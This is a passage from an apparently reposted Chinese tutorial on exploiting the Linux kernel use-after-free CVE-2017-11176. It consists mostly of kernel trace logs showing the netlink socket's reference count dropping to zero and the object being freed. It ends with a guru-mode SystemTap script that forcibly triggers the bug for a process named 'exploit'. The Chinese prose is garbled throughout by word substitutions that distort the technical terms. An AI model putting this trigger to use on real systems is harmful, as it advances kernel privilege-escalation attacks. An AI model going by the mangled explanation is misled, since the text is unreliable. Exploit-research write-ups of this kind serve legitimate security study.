(3391-3391) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d84ed80)
(3391-3391) [netlink] <<== netlink_getsockbyfilp = ffff88002d72d800
(3391-3391) [netlink] ==>> netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 timeo=0xffff8800317a7f40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88002d72d800 }=-
- sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2               // <------------
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3391-3391) [netlink] <<== netlink_attachskb = 1
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = 0
(3391-3391) [netlink] ==>> netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)
(3391-3391) [netlink] <<== netlink_detachskb
-={ dump_netlink_sock: 0xffff88002d72d800 }=-
- sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 0               // <-------------
- (before) nlk->state = 1
- (after) nlk->state = 1
- sk->sk_flags = 101
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
(3391-3391) [SYSCALL] <<== mq_notify= -9

能够看到,sk->sk_refcnt已削减了两次!胜利触发了这个破绽。

由于sock的援用计数为零,这意味着struct netlink_sock对象将会被开释。再增加一些其他探针:

... cut ...

(13560-13560) [netlink] <<== netlink_attachskb = 1
(13560-13560) [vfs] ==>> fget (fd=0x3)
(13560-13560) [vfs] <<== fget = 0
(13560-13560) [netlink] ==>> netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)
(13560-13560) [kmem] ==>> kfree (objp=0xffff880033fd0000)
(13560-13560) [kmem] <<== kfree = 
(13560-13560) [sk] ==>> sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [sk] ==>> __sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [kmem] ==>> kfree (objp=0xffff88002d7e5c00) // <---- freeing "sock"
(13560-13560) [kmem] <<== kfree = 
(13560-13560) [sk] <<== __sk_free = 
(13560-13560) [sk] <<== sk_free = 
(13560-13560) [netlink] <<== netlink_detachskb

sock对象已被开释,但我们没有看到任何开释后重用瓦解…

为何没有瓦解

与我们一最先的盘算分歧,netlink_sock对象由netlink_detachskb()开释。原因是我们没有挪用close()(只将FDT置为NULL)。也就是说,文件对象现实上没有被开释,因而,它并没有删除对netlink_sock的援用。也就是说,少了一次援用计数递减。

但没紧要,我们在这里想考证的是,援用计数削减了两次(一次是netlink_attachskb(),别的一次是netlink_detachskb())。

在一般的操纵历程当中(挪用close()),援用计数将会分外减一而且在netlink_detachskb()中将会UAF。为了取得更好的掌握,UAF发作的时代将会被延后(拜见第2局部)。

终究System Tap剧本

末了,从内核空间触发破绽的全部system tap剧本能够简化为:

# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)

%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger:long (arg_sock:long)
%{
  struct sock *sk = (void*) STAP_ARG_arg_sock;
  sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

  struct netlink_sock *nlk = (void*) sk;
  nlk->state |= 1;   // enter the netlink_attachskb() retry path    

  struct files_struct *files = current->files;
  struct fdtable *fdt = files_fdtable(files);
  fdt->fd[3] = NULL; // makes the second call to fget() fails
%}

probe kernel.function ("netlink_attachskb")
{
  if (execname() == "exploit")
  {
    force_trigger($sk);
  }
}


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2017-11176: 一步一步linux内核破绽应用 (一)(System Tap)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址